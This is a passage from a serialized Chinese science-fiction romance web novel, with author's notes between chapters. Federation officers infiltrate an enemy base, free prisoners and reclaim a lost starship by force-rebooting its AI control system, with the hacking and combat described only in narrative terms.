这个关系着整个联邦、甚至整个已知宇宙生物未来的源代码，那么重，但却又这么轻。 闻铮把那块金属铭牌收好，示意裴简珩放下相位枪。 “现在源代码已经拿到了，我们只需要回到DEHWA-2075上离开就可以了——” 闻铮打断了程迹的话：“不，还没结束。” 程迹一怔：“不？不是什么意思？” “我要把逐星号带回联邦。”闻铮眉眼低垂，长长的羽睫在他脸上投下几分阴影，“一是因为奥克斯·奴瓦辛戈不知道对逐星号进行了怎样的改造，但我可以肯定的是他绝对是要利用逐星号来对付星际舰队。二是因为……” “……这是属于联邦的星舰，它得回家。” 程迹注视着眼前黑发墨眼的人类，他瘦削单薄的身躯好像担了太多的责任，只是这些东西并没有击溃他，他在重重重压下依然脊背挺直，哪怕已经和星舰军队一拍两散，却依然怀揣着一丝理想主义，依然相信联邦至高无上的乌托邦梦想。 克米恩人推了推黑框眼镜：“我真没想到，你居然是一个理想主义者。” “总要有一些坚守的理想作为锚点，才能在不确定的时代下找到一丝确定。”闻铮笑了一下，“不是吗？” 程迹没有回答这个问题，即使赞赏的神色在他眼底一闪而过，他只是问：“要怎么做？” 回答的人却是裴简珩，他拉出了实验基地的构造图：“中枢室离战舰孵化港很近，我们抄近路，两分钟就能到。以克劳为首的那些基地护卫，见过我们真面目的都已经死了，在更多的护卫发现我们伪装了奥克斯·奴瓦辛戈一行人之前，我预估我们还有最多二十分钟的时间。” 程迹提出质疑：“二十分钟不足以逃离这颗星球，甚至不足以逃离这个基地。” “但足以让我们夺回逐星号。”裴简珩那双湛蓝色的眼睛里闪着熠熠星光。 “……你俩是不是疯了。” 程迹哽住：“战舰孵化港至少有五十多个基地护卫，就我们三个能打过去？” 闻铮奇了：“刚刚拿着两把相位枪大杀四方的疯狂科学家不是你？” 程迹：“……” 住嘴。 “登上逐星号不难，有人会帮我们的。”裴简珩摇头，“难的是如何夺回逐星号的控制权。” 克劳在做简报的时候有提到，他们已经研发出了最新的智能融合体，并且成功覆盖了逐星号上原本的联邦人工智能中控系统，误差<0.002%，这也就意味着，如果他们不能让逐星号的系统听命，他们就根本开不起来这艘船！ “如果我变成奥克斯·奴瓦辛戈，用他的生物信息能否支配智能融合体？”程迹提议。 “不见得。我们要做好逐星号需要双重密钥认证的准备。”裴简珩道，“联邦的人工智能中控系统需要联邦军官的基因信息认证和独一无二的军官代码才能开启，我觉得德瓦这个所谓的智能融合体也会这样。” “如果需要双重密钥认证，我们就不可能驾驭这个所谓的智能融合体。”闻铮心头的思绪千回百转，“所以我们只能想办法强行唤醒联邦的人工智能中控系统，让它再次覆盖这个所谓的智能融合体。” “……我知道一个办法。” 闻铮神色晦暗：“每一艘联邦战舰都有一个全舰系统数据分配中心，主系统和各个子系统之间的数据主干线都分布在那里的一个隐藏中枢室，我过去断开舰桥、轮机、武器、生命支持和主系统核心的链接，强制重启。” 裴简珩一怔：“数据分配中心？里面有隐藏中枢室？我在星舰军校的时候从来没听过——” “只有战舰的舰长才知道，”闻铮笑了笑，颊边的小梨涡冒了出来，“等你当上战舰舰长的那一天，就会知道这个最终的保险了。” 裴简珩一怔，闻铮却岔开了话题：“这里已经是德瓦帝国边境，一旦战线拖长，德瓦哨兵部队就会赶来，到时候我们真的就走不了了。” “我去切断基地向外的通讯，”裴简珩抿紧了嘴唇，虽然他有一些疑问，但他也知道现在不是说其他事情的好时机，“他们把整个星球向外的通讯都屏蔽了，但基地肯定不会在屏蔽波段之内，我看到运霖给的构造图里有通讯室，就在战舰孵化港的旁边。” 闻铮颔首，深深地看向他，欲言又止，最后只说了一句：“……保重。” 他犹豫了一下，还是按上了裴简珩的肩膀，轻轻地拍了两下，低声说：“一定要安全地回到我身边，好吗？” 裴简珩低头凝视他，千言万语堵在了喉咙口，最后只化成了一个字：“……好。” 程迹站在他们对面，双手环胸，眯着眼睛打量着这俩人：“差不多得了吧？” 怎么感觉这么不对劲呢…… 这闻上将确实对手底下的人很好，但对这个舵手是不是格外的好了一点？ 闻铮收回了手，睨了一眼程迹：“程院士，你也别闲着。” 程迹：“？” 他打量了一下中控台，若有所思：“你写一段假的源代码需要多久？” 程迹立刻明白了他的意思：“你要将计就计？” “如果他们发现源代码丢失，会再做出其他的什么事情是我们不可控的，能稳住多久就是多久吧。”闻铮也只是一个想法，不确定技术层面到底能否实现，“奥克斯·奴瓦辛戈也不是科学家出身，知道源代码的人要么死了，要么在我手里。” “如果是这样，”程迹眼珠一转，又露出了那种闻铮认为和北极兔一模一样的邪恶笑容，“我有一个更好的主意。” …… 整个德瓦实验基地陷入了混乱。 红色警报已经响了十几分钟了，但基地的所有护卫都没有接到最高负责人克劳的指令。 哈维也联系不上克劳，这让作为基地护卫统领的他内心感到隐隐的不安。 在他第六次尝试联系克劳的时候，通讯终于接通了。 哈维松了口气：“克劳大人！红色警报响了，我们现在在等待您的命令！” 通讯那头传来了克劳的声音：“红色警报是从中枢室响起的，我刚从元帅阁下的星舰上出来，你把所有人都带着，我们去中枢室碰面！” 哈维听到中枢室的字眼后眉头一跳，但还是对命令内容有些犹豫：“所有人吗？那基地的防守就会有缺口——” “蠢货！”克劳对他破口大骂，“这个基地有什么是比源代码更重要的？！如果源代码出了什么问题，基地所有人都得死！” 哈维神色一凛：“是！——不过克劳大人，元帅阁下现在在哪里？是否需要知会元帅阁下一声？” “知会？知会什么？告诉元帅阁下我们有多无能，偏在他莅临的时候出岔子吗？”克劳的声音有些气急败坏，显然是被这个全是肌肉没有脑子的护卫队队长气昏了，“你要死，你就一个人去死，别拉着我和你一起！” 哈维被他一顿劈头盖脸的责骂骂得狗血淋头，有什么问题也不敢再问了，只能吃瘪地遵守命令，通过内部通讯抽调了80%的护卫前去中枢室。 另一边，程迹挂掉通讯，对闻铮和裴简珩点了点头：“快走，我会找机会加入你们。” 闻铮和裴简珩对视了一眼，都在对方眼中看到了自己的倒影，似乎这给他们莫大的勇气和信念，拿好相位枪，夺门而出。 程迹幻化成了克劳的模样，最后看了一眼悬浮屏上的代码，轻轻一笑—— 作者有话说：感谢34402499、珍白雪w、把我丢了的营养液！ 掉落源代码模型x1！ 第116章 等我回来 哈维带着实验基地80%的护卫, 浩浩荡荡地去到了中枢室。 刚到门口，他就发现门被大开着，而克劳正站在里面的中枢台旁边, 以一种劫后余生的表情看着悬浮屏上的源代码。 哈维也舒了一口气。 幸亏源代码还在, 不然他们真的没法交代。 只是…… 哈维环视了一圈，犹疑：“霍华德首席和其他两个科学家呢？” “不知道, ”程迹面不改色，“我来的时候中枢室已经空无一人了。” 他若有所思, 问哈维：“我们的基地入口有显示被侵入的痕迹么？” 哈维摇头。 “奇了怪了……如果没有外来侵入者，红色警报又是怎么回事？”程迹好似突然想到了什么, “把电子眼的记录拿出来，看看到底是怎么回事。” 哈维手底下的一个小队长连忙拉出了电子眼记录, 却在看到画面的时候神情呆滞：“克劳大人、哈维统领, 这……” 哈维低头看去, 也是一愣。 程迹勾起了唇角。 电子眼历史画面中, 中枢室一片漆黑, 什么都没有。 而在实时画面里，奴隶饲养圈却正处于一片骚乱！ …… “我是个医生！医生！” 赫尔手持相位枪, 一枪一个德瓦护卫，和凯利斯的配合简直是天衣无缝。他把最后一个护卫一脚踹到墙上, 头都没回地用相位枪进行了量子毁灭，吐槽道：“你们把我当战术官用啊？！” 战术官本官凯利斯在一旁笑：“一共就这么几个人，难道还能让轮机长上战场吗？” 黎晓都没开过相位枪吧！ 赫尔翻了个白眼。 他前脚带着抗辐射的药物陪特娜伦和向星苑回到星盗所在的洼地里，刚给所有星盗注射好，就听见了裴简珩的话，让他和凯利斯配合前往德瓦基地的奴隶饲养圈，尽量将那些艾尼默人都解救出来。 吐槽归吐槽, 闻铮和裴简珩能在做至关重要的任务之时，还能惦记把这些人从德瓦帝国的奴役下救出来，赫尔心里还是很欣慰的。 欣慰自己的老友一如既往，也欣慰他没有救错人，也没有跟错人。 他们一路冲到了奴隶饲养圈，看到在这个地下监牢里面至少有五十多个艾尼默人，穿的都是破破烂烂的，一些外形姣好的温顺科属艾尼默人甚至衣不蔽体，想也知道都遭受了哪些非人的折磨，以至于在听到有人过来的时候已经眼神麻木，毫无反应了。 直到一个猫属的少年看到他们的脸，瞪大了眼睛：“你们……你们不是德瓦人！你们是谁？！” “没时间解释了，”凯利斯身上别着翻译器，对他笑了一下，“我们是来救你们的，要跟我们走吗？” 此言一出，几十个艾尼默人都愣住了。 一名青年缓缓站了起来，他脸上有几条豹纹，应该是豹属的。 他警惕地看着他们：“你们是……人类和……什么？” “……”赫尔道，“人类和艾尔文人。” 说完，他观察了一下监牢的门，需要生物认证才能开，很明显人类和艾尔文人都打不开，他拿起了相位枪对准了那把锁。 就在他要开枪的时候，凯利斯把他的枪口按了下去：“我们不清楚这个锁的构造，如果强行毁掉可能会彻底锁死。” 赫尔挑眉：“那你有什么建议？” 凯利斯环视一圈，咂了咂舌，失策了，不应该调节到量子毁灭模式的—— 猫属少年瞪大了眼睛，急急地提醒：“小心背后——” “你们是谁！举起手来！” 就在这时，背后传来了大叫着的德瓦语，又来了一个德瓦护卫。 赫尔翻了个白眼：“又来……” 凯利斯却眼睛一亮，打瞌睡就有人递枕头啊。 半分钟后，金发青年把已经失去意识的德瓦护卫的眼睛扒开，扫描后，生物信息锁咔哒一声开了。 所有艾尼默人都惊呆了。 他们早就接受了不知何时到来，但一定会到来的凄惨命运，要么被虐杀，要么成为餐桌上的甜品，只有这两种结果。 但随着咔哒的声音，监牢的门打开了，自由近在咫尺，命运好像也打开了一条新的路。 豹属青年的嘴唇都哆嗦起来：“你、你们……” “别说了，赶紧先走吧。”赫尔对他们露出了艾尔文人那种会令人感到放松的微笑，“我们还有别的事要做，先把你们相位穿梭出去。放心，不会丢下你们不管的。” 凯利斯按响了通讯：“黎晓，准备相位穿梭56个艾尼默人，坐标已发送。” “坐标已锁定，十秒后进行相位穿梭——你们两个不回来吗？” “我们还要去帮闻哥，”凯利斯的声音很温和，“保护好自己，也保护好船上的人类和艾尼默人，按照计划进行，我们逐星号上见，好不好？” 黎晓站在DEHWA-2075的相位穿梭操作台后面，听到这句话，双唇翕动，也就只能说一句好。 这是自他和凯利斯认识以来，这个嘴贱又吊儿郎当的Alpha，第一次这么温柔又可靠地和他说话，因为他知道自己被独自留在星舰上的慌张和害怕。 十秒钟后，56个艾尼默人出现在了相位穿梭台上。 他们没有经历过相位穿梭，对这种经历十分不适应，看到星舰内部后更是充满了惊惧。 “别怕。” 黎晓深吸了一口气，娃娃脸的Omega对他们笑得很甜。 …… 闻铮和裴简珩从中枢室出来以后，就按照构造图直奔战舰孵化港。 一路上的德瓦守卫不多，应该是程迹声东击西的策略生效了，所以他们顺利地到了战舰孵化港的前一个拐角。 在这里，闻铮和裴简珩就要暂时分开了。 裴简珩要独自去切断基地的通讯，而闻铮也要想方设法登上逐星号。 两人在拐角处最后对视一眼，裴简珩欲言又止：“闻哥，您——” “不是现在，”闻铮看着他，轻轻说，“等你回到我身边之后，我会告诉你的。” 裴简珩垂眼看着他，看着这张牢牢印在自己骨血之中的脸，那样的纤薄又锋利，光是念着这张脸和这个人，就足以让他熬过一切。 他伸手捧起了闻铮的脸，虔诚地烙上一吻，在他唇边喃喃道：“……等我回来，闻哥，等我回来。” 这个足够动人的吻一触即分，两个人相背奔去，都不曾、也不敢再回头看上一眼。 …… 闻铮藏在角落的阴影处，隐匿呼吸，看着一个维护人员拎着箱子走向战舰孵化港的大门，门口的生物信息锁正在扫描他的生物信息，三秒之后，门开了。 战舰孵化港和实验营是两个分隔开的区，实验营的红色警报暂时还没有影响到这边，所以这个维护人员甚至还有心情哼着歌，只是当他抬脚的下一刻，却突然感到一阵气流涌动，下一秒，他眼前一黑，再没了知觉。 闻铮宛如一阵风一般悄然接近了他，一把把他的脖颈扭断，趁着门打开，猱身潜进了战舰孵化港内。 他进去后把维护人员的尸体放在了门中间，不让大门合上，以便凯利斯和赫尔能够顺利地进来。 而随后映入眼帘的，是在孵化港中伫立的超级战舰，逐星号。 它比悬空号要低一等级，但也已经是联邦排名前十的巨型战舰了，多年前在联邦边境一场等离子雷暴中失联，从此失去踪迹。联邦寻找无果，怀疑它被雷暴击碎，或被卷入了随之而来的虫洞，却没想到不知为何落入了德瓦帝国的手中！ 而当时的那些舰长和船员，显然在德瓦帝国手里也活不下来了。 ……不管如何，逐星号决不能继续留在德瓦帝国手中！ 闻铮握紧了相位枪，他看到逐星号外立面正在显示维护中，虽然外面没什么守卫，但估计里面的人不会少。 他垂下眼睫，再抬起的时候，眼底的冷光宛如剑刃般熠熠生辉。 闻铮没有试图从逐星号的入口进去，而是摸到了底层甲板的物资层。在物资层入口处堆着几车的箱子，显然是维护人员要推进去的材料。 他环视四周，有三个维护人员正聊着天朝这边走来，显然是要把这些箱子推进去。 计上心头，闻铮攀上了最上面的一个箱子，把相位枪的档位调到最大，须臾之间把里面的金属板材溶解到毫无痕迹，然后纵身跳了进去，在维护人员走近的前一秒关上了盖子。 他躲在伸手不见五指的箱子里，动作很轻地把一个圆形的小装置贴在了自己胸前。 那是黎晓瞎鼓捣出的小玩意儿，可以短暂地屏蔽生物信息，但只能维持十分钟，现在是用它最好的时机了。 闻铮沉默地蜷在箱子里，这个环境让他不期然地回想到了十六岁那年，偷渡出7号星的那十几天。 同样躲在物资舱，同样的暗无天日和足以逼疯一个人的死寂，不敢沉睡，不敢自由呼吸，进食全靠不需要代谢的营养液，他的身体从那个时候开始就半毁了。 闻铮握紧了相位枪。 他们必须成功，德瓦帝国的阴谋一旦得逞，战火重燃，就会有无数个像闻铮一样被仇恨铸就的行尸走肉。 这一切，都必须尽快结束—— 作者有话说：感谢34402499和珍白雪w的营养液！ 掉落小号箱子x1！ 第117章 成，败 裴简珩和闻铮分别以后, 就顺着走廊一路摸去了德瓦基地的通讯室。 这一路上也遇见了几个零星的基地守卫，但裴简珩解决他们就像削水果一样简单。 ……太顺利了，顺利到裴简珩恍惚觉得不正常。 现在想也没用, 裴简珩暗中打起几分警惕, 同样把一个半死不死的基地守卫抓过来刷开了通讯室的门，补了一枪之后就踏了进去。 进去以后, 他知道为什么这里的守卫不多了。 入眼的是琳琅满目的各项机器设备和量子中继器，从前端、中端到后端应有尽有, 谁来了都要迷糊，裴简珩一时之间也不知道从何下手。 他思索再三, 点开了和黎晓的通讯。 黎晓接到了他的视频通讯，连忙跑到舰桥上, 把画面放大到满屏幕, 也对着眼前密密麻麻的机器看板目瞪口呆。 “这也太夸张了吧！”轮机长的神色变得紧张起来, “这怎么找得到哪个是通讯装置？？” “你别慌, ”裴简珩的声音很沉稳, “不要被这些东西干扰，你在星舰军校的时候一定学过怎么定位通讯设备。” 黎晓深呼吸三次, 让自己的脑子冷静下来，他想到了一个新的思路, 一个跳脱出物理设备层面的思路！ “……这里的设备太多了，他们一定需要一个智能中控才能协调起来。” 黎晓死死地盯着屏幕上的映像，大脑转得飞快：“裴简珩，你随便找一个终端面板，不一定是通讯设备，任何一个设备都可以，我现在写一串代码, 你按照这串代码输入进去，幸运的话，可以通过扰乱智能中控切断通讯！” 裴简珩立刻照做，他随机找了一个控制面板，好像是基地的空调系统，在等待黎晓写代码的时候，他也在思考黎晓的话，似乎想到了什么：“黎晓，如果你能用代码扰乱智能中控的话，那能否能够直接接管这个基地的智能中控控制权？” 黎晓苦笑：“你以为我没想过吗？但你看这么多的设备，生命体的大脑开发程度无法承载这么高的算力——也许程院士可以，但我不行。” 倏地，谢运霖的声音在舰桥上响起。 “轮机长，如果您信任我的话，可以将代码的终端移到我身上。” 此言一出，黎晓和裴简珩都是眼前一亮！ 对啊！ 谢运霖！ 他是目前已知算力最高的智能融合体，绝对高于基地的这个智能中控，否则奥克斯·奴瓦辛戈不会把他搭载到自己的星舰上！ 裴简珩在惊喜过后又想到了什么，有一丝犹豫：“运霖，如果将基地的智能中控移交到你身上，会对你产生什么伤害吗？” “感谢您的关心，裴中校。”谢运霖的声音里有些许笑意，“可能会有一些数据过载，我推测在切断后就会恢复正常。但无论如何只有试了才知道。” 黎晓正把最后一个代码敲完，咬了咬下唇：“裴简珩，你的军衔最高，你需要做决定。” 银发Alpha环视了一圈整个房间里浩如烟海的设备和数据，又想到了正在和基地守卫虚与委蛇的程迹，解救艾尼默奴隶的凯利斯和赫尔，以及也许已经开始夺船的闻铮…… 在此刻，时间是他们最宝贵的东西。 裴简珩又看向了通讯那头神情紧张的黎晓，以及记忆中谢运霖那张坚毅又硬朗的脸，下定了决心。 “黎晓，把代码写好给我，我们来把基地的智能中控控制权移交给运霖，”他那双湛蓝色的眼睛锐利又决绝，“如果一切顺利，运霖在十分钟后切断这个实验基地的通讯、防护罩和辐射装置——” “——不，”他似乎想到了什么，微微勾起了唇角，修改了自己的命令，“十分钟后，切断这个基地所有的能源供给。” …… 箱子被放到地上，箱体传来了轻微的震动声。 闻铮知道，他已经成功混进了逐星号。 在箱盖发出响声的时候，闻铮握紧相位枪，闭上眼以避免接下来的强光照射。 两秒后，在盖子被打开的一瞬间，闻铮按了三次扳机，箱子四周响起了三个|肉|体倒地的声音。 他这才缓缓睁开眼睛，墨色眼瞳里闪过一丝冷光。 等到适应了光线以后，闻铮从箱子里跳出来，在其中一个维修人员身上翻出了对应的身份ID权限卡，匆匆朝舰桥旁不远处的数据分配中心跑去。 这时，程迹的声音在耳麦里响起：“闻指挥官，战舰孵化港的警报也响了，哈维带着一大批人过去了，我没拦住，你自己多加小心。” 闻铮面色不改，他早就设想到不会这么轻易，所以也不惊讶：“收到，程院士，你先保证自己的安全，等时机成熟，我会把你相位穿梭到逐星号上。” 程迹的声音在通讯里甚至笑了一下：“……你还真是名不虚传呐，闻上将。” 闻铮也勾勾唇角，结束了通讯。 就在距离舰桥还有三百米的时候，闻铮听到了对面传来了繁杂的脚步声。 他神色一凛，躲到了拐角后，在听见越来越近的脚步声后，倏地闪现扫射！ 基地的守卫也毫不吝啬地朝他开枪，嘴里叽哩哇啦地说着德瓦语，闻铮也没心思听，他躲在掩体身后，虽然也解决了不少敌人，但数量的差异摆在那里，还是让他有些难以突破。 就在他思考其他办法的时候，却突然听到了火力的转向和不同的脚步声。 闻铮似有所感，端着枪探出了掩体看过去——果然！ 凯利斯和赫尔互相掩护着朝他这边冲过来，闻铮心里一松，梨涡也随之漾开来。 他端着相位枪，也一边干脆利落地解决那些德瓦士兵，一边和凯利斯、赫尔汇合！ 等到他们把这一波德瓦士兵清除后，闻铮小小地松了口气：“你们来得倒是正好，多谢。” 赫尔又伸出了一根手指：“得加钱，这次真得加钱了。” 闻铮：“……” 凯利斯：“……” 三个人相视一笑，在这种生死关头倒是生出了一丝让人心安的确信之感。 只要他们这个团队还在，只要大家都还活着在一起，一切都会有办法解决。 闻铮拍了拍他们的肩膀：“你们去舰桥，我去数据分配中心把舰桥、轮机、武器、生命支持和主系统核心的链接断开，强制重启，希望能唤醒联邦的人工智能系统，覆盖德瓦人研究出的这个什么智能融合体。” 凯利斯碧色的眼睛里有些许担忧，沉默了一下方才缓缓问道：“如果覆盖失败呢？” 闻铮收起了笑容，轻声道：“如果覆盖失败，我们回到DEHWA-2075去，向逐星号发射光子鱼雷。” 赫尔瞪大了眼睛：“你——” 闻铮目光沉沉：“无论如何，逐星号不能留在德瓦帝国手里。” “成，我们带它回家。” “败，联邦逐星号于今日正式退役，你我皆为其荣誉见证。” …… 凯利斯和赫尔一路闯到了舰桥，两个人身上虽然也挂了彩，但都是小伤，问题不大。 只是舰桥的门没有打开。 他们听见一个青涩的少年音响起，语调和常规人工智能的刻板完全不同：“请验证身份。” 他们对视一眼，都意识到这应该就和谢运霖一样，是德瓦帝国所谓最成功的基因融合体。 凯利斯摸了摸鼻尖：“如果我说我是联邦军官，是不是没用啊。” 基因融合体的少年音继续道：“请验证身份。” 凯利斯赌了一把：“联邦军官凯利斯·诺德上校，军官编码4396KN5712。” 少年音道：“验证失败，还有一次机会。” 凯利斯呃了一声：“我没招了。” 赫尔眉头微皱，拿出了一管针剂，面不改色地扎进了自己的胳膊里。 眨眼之间，又一个奥克斯·奴瓦辛戈出现了。 赫尔清了清喉咙，发出了奥克斯·奴瓦辛戈的声音：“德瓦帝国元帅奥克斯·奴瓦辛戈。” 少年音又道：“请提供军官代码，否则十秒后同样认定为验证失败。” “十、九、八……” 赫尔举起双手：“我也没招了。” 外貌和基因可以伪装，个人高度机密的军官代码上哪儿去知道！ “……三、二、一。” “身份验证失败。” “判定为外来者入侵舰桥，全舰进入红色警报。” “舱门关闭，舰桥关闭，相位穿梭关闭。” 赫尔看向金发大副：“现在怎么办？” 凯利斯吐出一口气，一贯吊儿郎当的表情也严肃了起来：“还能怎么办，都到这个地步了，也只能看闻哥那边了。” …… 闻铮摸到了数据分配中心，用维护人员的门禁卡刷开了入口。 数据分配中心遍布着数据主干线和量子中继器，如果德瓦帝国没有发现联邦星舰隐藏最深的保险，那么就应该在—— 闻铮在一个位置前停下来，那里空无一物，和其他的数据看板没有任何差别。而在他飞快地按照特定频率点击了几下之后，那块空白面板倏地消隐，露出了一个控制装置。 他深深地呼出了一口气。 就在闻铮全神贯注地伸手去拿那块能够重置系统的量子签名数据板的时候，后脑却被顶上了一块冰冷的枪口—— 作者有话说：感谢珍白雪w、34402499、秦长歌和71654057的营养液！掉落数据看板模型x1！ 第118章 舰长认证 “举起手, 转过来。” 阴沉沉的声音传来，闻铮听出来那是基地护卫统领哈维的声音，看来他刚刚太过于专注在量子签名数据板上, 而没有注意到哈维什么时候出现在了这里。 闻铮依言缓缓转过身, 举起了双手。 哈维阴鸷地盯着他，咬牙切齿：“你们是怎么伪装成元帅阁下进来的？又是怎么搞到DEHWA-3567的？你们进来到底有什么目的？” “你这么多问题, 到底要我先回答哪一个？”闻铮淡淡道，“但我可以回答你一个共性的答案, 你们太蠢，这个所谓的实验基地也太弱, 简直是漏洞百出。” 闻铮的目的达到了，哈维被他激怒, 伸手就用相位枪枪托毫不留情地砸在了闻铮的脸上！ 他的脸被打偏了过去, 再侧回来的时候, 闻铮吐掉了一口带血的唾沫, 黑瞳雪肤, 那双眼睛含着赤|裸|裸的嘲讽和鄙夷，他越美, 越平静，越让哈维怒火中烧。 “你再打我几拳都无济于事, ”闻铮甚至笑出声，他是真心的，梨涡都浮出来了，“克劳死了，霍华德和源代码都在我们手里，这艘逐星号我可以要，也可以毁了, 你就算现在把我杀了都没用，我的人早就拿到东西走了。” 真真假假，让这个脑子本来就不太好的哈维一时之间更是十分混乱。 “你他妈的——” 哈维怒气冲冲地瞪着眼前这个漂亮尖锐的人类Alpha，恨不得扒他的皮拆他的骨，那把相位枪都在颤抖。 闻铮要的就是这一个瞬间。 他眸光一利，抬肘狠狠顶向哈维的手腕，让他指尖一麻，相位枪就掉到了地上！ 闻铮立刻把相位枪踹开，反手抓住哈维的衣领，一个过肩摔把他摔在地上，整个人扑了过去，那双长到逆天的有力大腿就狠狠地绞住了他的脖子！ 哈维发出了含糊不清的声音，他在闻铮腿间用力地挣扎起来，德瓦人比人类普遍要高大，他比两米还高一点，在身材的优势下，闻铮险些被他再次掀翻。 突然之间，逐星号里响起了机械音：“基地主能源被断开，备用能源上线。” 数据分配中心里陷入一瞬间的黑暗，随后光源再次亮起。 这突如其来的变故让哈维分了一秒的心，而就这一秒，却足以让他送命！ 闻铮双腿狠狠钳住他的头，猛地向地上砸去，伴随着哈维的哀嚎，他的挣扎力度也越来越轻。 “别死了。” 他冷笑一声，在哈维后脑已经血肉模糊却还有直觉的时候松了手，就在这个高大的德瓦人迷迷糊糊不知道发生了什么的时候，闻铮捞过了他的那把相位枪，在手指间转了一圈，飞快转身用枪托狠狠地砸向了哈维的脸！ 一下、两下、三下…… 直到那张黑色的脸血肉模糊，闻铮才停手，把嘴里最后一口带血的唾沫唾在哈维的脸上，用相位枪对他进行了量子毁灭。 闻铮抹去了唇边的血，毫不在意鲜血糊在他的唇边，在漆黑的发丝和苍白的脸映衬下显得多么刺眼。 他把相位枪别在了腰后，再次回到了控制装置前，接通了通讯线路：“凯利斯，你们能进入舰桥吗？” “不能，赫尔变成了奥克斯·奴瓦辛戈也不行，他们这个什么基因融合体也和联邦人工智能系统一样，需要双重认证，我们不知道奥克斯·奴瓦辛戈的军官代码。” 闻铮猜到了。 他把目光移向那块量子签名数据磁板，心跳如擂鼓。 成败在此一举…… 他深吸一口气，拿起那块磁板，插进了隐形中控台的插槽里！ 瞬间，整个数据分配中心的灯光全灭！联邦统一的人工智能中控声音响起。 “系统强制关闭中……” “系统关闭进程遭到运行程序拒绝……” 闻铮心里一沉，喃喃道：“快……求你……” “系统跳过该运行程序……” “系统强制关闭中……” “已关闭。” “系统重启中……” “检测到运行程序拦截，无法强制跳过。” 闻铮脸色苍白起来，如果无法跳过或覆盖，那逐星号就只能被毁灭。 “系统正在攻击此运行程序，触发其底层设定。” “毁灭该程序，或强制格式化，请于十秒后进行选择。” “十、九……” 控制装置上方探出了一块悬浮屏，左边是毁灭按键，右边是恢复初始设置按键。 闻铮想都没想地朝毁灭按去，却在半途中宛如惊醒一般停滞住。 他想到了谢运霖，一个无辜的生命，被强行融合进了人工智能中，困在了冰冷的机器之间。 那这个智能融合体，也会是这样吗？ 闻铮抿紧了唇，问道：“强制格式化的具体定义是？” 系统答：“清除所有二级指令，只留一级思维，且强行进入休眠状态，直到接收唤醒指令。” 闻铮双眼微垂，伸手按上了右边按键。 “强制格式化中……” “已完成。” “重置所有主系统和子级系统中……” “已完成。” “联邦人工智能中控系统已在全舰范围内接管，请于二十分钟内前往舰桥激活将官级舰长认证。” 闻铮那口气终于放了下来！ 他把隐形装置恢复原样，匆匆忙忙地奔向舰桥，同时打开了公共通讯频道，让所有破晓号的人都能听到：“逐星号已经恢复联邦接管权，破晓号全体人员，立刻准备被凯利斯相位穿梭至逐星号舰桥！” “黎晓，把艾尼默人和人类都带着，还有蓟梨草！” “是！闻哥！” 黎晓的声音带了一丝雀跃，显然他也松了一大口气。 “程迹，把坐标报给凯利斯。” “明白。” “……简珩，你那边怎么样了？” 闻铮最后才问起裴简珩，声音甚至一丝几不可闻的颤抖。 “我在，闻哥。”裴简珩的声音很温柔，温柔得几乎让闻铮鼻头一酸，“我马上就回到您身边了。” 凯利斯在舰桥旁的相位穿梭室操作，他虽然不像黎晓那么熟练，但基本的操作还是没问题的，只不过两分钟的时间，所有人都被他转移到了逐星号上！ 他在转移的时候设定了分流，那些人类和艾尼默人幸存者被他先转移到了禁闭室，那里比较安全，等一切落定了再去解释也来得及，而团队的其他成员，都依次出现在了他面前。 金发大副对他们微笑：“欢迎登舰。” 黎晓朝他迈了一步，还没等他说话，一个高大的身影“嗖”的一下从他身旁窜了出去，快到就剩一个残影。 凯利斯：“……刚刚那是裴简珩吗？” 黎晓呃了一声：“好像是的。” “还没到叙旧的时机吧，”程迹慢吞吞地说，“闻指挥官的命令可是让我们立刻到舰桥去，现在看来也就裴中校遵守了。” 何止是遵守，裴简珩像一阵风一般冲到了舰桥上，却在看到站在了舰长椅旁的闻铮时又蓦地停下脚步。 闻铮转身，下一秒就也看到了他的Alpha，他好端端地站在那里，一根头发都没伤到。 而裴简珩在看到闻铮鲜血淋漓的唇角，脸上也有明显被打过的伤口之后，脸色阴沉得吓人。 闻铮知道他在担心什么，对他笑了笑：“别担心，我没事。” 裴简珩问：“谁干的？” “哈维，”闻铮漫不经心，“我已经把他的脑浆打出来了，你以为我会吃亏吗？” 裴简珩扯了一下唇角，伸手心疼地替闻铮一点一点擦去已经干涸的血迹。 闻铮瞥了一眼舰桥入口，还没有其他人的人影，于是他站在舰长位置的三级台阶上，双手捧住裴简珩的脸，微微俯下身，给了他一个轻吻。 那个吻落下的时候，裴简珩闭上了眼睛，他的心也跟着一起落下了。 无论即将面临的是什么，只要他在闻铮身边，只要闻铮也在他身边，什么都可以……什么都可以。 “申请进入舰桥。” 凯利斯的声音在舰桥入口外响起，舰桥内的闻铮和裴简珩立马像触了电一样分开，等到他们进入舰桥的时候，只看到闻铮站在舰长席上，而裴简珩已经坐到了舵手席位上，两个人一句话都没说，但总感觉这里面的气氛哪里不对。 闻铮率先发问：“黎晓，DEHWA-2075上面现在是什么情况？” 黎晓是唯一一个从DEHWA-2075上面过来的，连忙回答：“人类和艾尼默幸存者都已经转移了过来，蓟梨草也在这里。” 他示意了一下手里的箱子：“另外，我离开之前，特娜伦和苑苑按照约定，已经带领着星盗们相位穿梭到了DEHWA-2075上，运霖的算力也恢复正常了。” 闻铮看向凯利斯：“打给她们。” 凯利斯用自己的通讯连接了特娜伦，下一秒，她和向星苑的脸都出现在了悬浮屏上。 特娜伦对闻铮抬了抬下巴：“你居然真的这么相信魁斗星盗的名声啊？先给抗辐射药物，现在又把德瓦战舰给我？” “我不是相信魁斗星盗，我是相信你，也相信向星苑。”闻铮轻笑，“事实证明，我们都很信任彼此，毕竟你们此刻也确实信守承诺地出现了。” 特娜伦大笑出声，向星苑也在旁边抿嘴笑。 凯利斯按了几下舰桥的通讯台，发现还是不能操作：“闻哥，我们现在可以控制逐星号了吗？” “还不行。”闻铮道，“还需要进行将官级舰长认证。” “将……”凯利斯愣住。 闻铮坐在了舰长椅上，右手摸到了舰长椅扶手下方的隐秘按钮，一个悬浮屏就跳了出来，出现在他们所有人的面前。 联邦人工智能中控的声音响起：“请进行将官级舰长认证。” 所有人都缓缓把目光移向黑发指挥官—— 作者有话说：下章！闻哥！掉马！！[撒花][撒花] 感谢珍白雪w、34402499和秦长歌的营养液！ 掉落通讯台模型x1！ 第119章 欢迎回来，闻上将 闻铮站了起来, 先用现在的身份尝试了一下：“联邦暗影组第六任指挥官闻，军官代码669TW3145，申请接管联邦逐星号。” 系统运转了三秒后, 冷冰冰地给出了反馈：“暗影组指挥官不在联邦战舰舰长名单内, 无法通过将官级舰长认证。” 所有人都是一惊！ 